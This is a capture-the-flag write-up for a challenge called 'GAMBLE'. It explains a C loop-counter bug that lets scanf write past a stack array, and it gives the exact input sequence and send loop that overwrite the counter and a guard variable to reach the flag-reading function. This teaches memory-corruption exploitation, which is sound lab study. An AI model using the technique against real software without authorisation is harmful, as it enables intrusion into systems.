GAMBLE
Challenge
A C program deals out a “lotto of fate”: it reads 7 integers into noob.numbers[], and only calls win() (which reads /flag) if noob.win != 0x67 by the time the loop ends. win starts at 0x67 and is never touched anywhere else in the code.
struct gambler {
int win;
int numbers[SLOTS]; // SLOTS = 7
};
void challenge(void) {
struct gambler noob;
noob.win = 0x67;
int i = 0;
int accum = 0;
while (i != SLOTS) {
scanf("%d", &noob.numbers[i]);
accum += noob.numbers[i];
if (accum == 67) {
puts("thats a naughty naughty number, one less chance to win");
i++; // extra increment
}
i++; // normal increment
}
if (noob.win == 0x67) { /* rip */ }
else { win(); } // reads /flag
}
The Bug
Whenever the running accum lands on exactly 67, i gets incremented twice that iteration instead of once. Trigger that on the last “in bounds” write (when i == 6) and i jumps straight from 6 to 8, skipping the i == 7 exit check entirely. Since i only ever increases, while (i != SLOTS) can never become false again — scanf keeps writing further and further past the end of the array, unbounded, directly onto the rest of the stack frame.
Finding the Layout Without a Binary
No binary was provided, only an nc endpoint — but the deployed build prints a full register/stack dump after every single input, effectively a built-in debugger. Reading that dump instead of guessing offsets gave the exact stack layout with zero brute forcing:
- Offset 0:
win, offsets 4–31:numbers[0..6]— matches the struct exactly, no padding. numbers[9]’s memory is theaccumlocal — confirmed by a self-doubling artifact: writingVthere makesaccumbecome2V, sinceaccum += noob.numbers[9]reads back the value justscanf’d into that same memory.numbers[10]’s memory is theiloop counter itself.
Solution
Walk i out to 10 via the overflow, then overwrite i’s own memory with -2. The loop’s trailing i++ turns that into -1, so the next write lands on noob.numbers[-1] — one int before the array, i.e. win itself. Overwrite it with anything other than 0x67, then feed 7 more harmless zeros to walk i back up from -1 to 7 so the loop exits normally and falls into the win branch.
sequence = [
0, 0, 0, 0, 0, 0, # numbers[0..5] = 0, accum stays 0
67, # numbers[6] = 67 -> accum hits 67, triggers double-increment (i: 6->8)
1, # numbers[8] (junk) = 1 -> accum = 68, avoid re-trigger
1, # numbers[9] == accum itself; write 1 -> accum self-doubles to 2
-2, # numbers[10] == i itself; write -2 -> trailing i++ makes i = -1
0, # numbers[-1] == win; write 0 -> win overwritten
0, 0, 0, 0, 0, 0, 0 # 7 more zeros walk i from -1 back up to 7, loop exits cleanly
]
for v in sequence:
s.sendall(f"{v}\n".encode())
The loop exits with win == 0, falls past the check, and challenge() calls win(), which reads and prints /flag.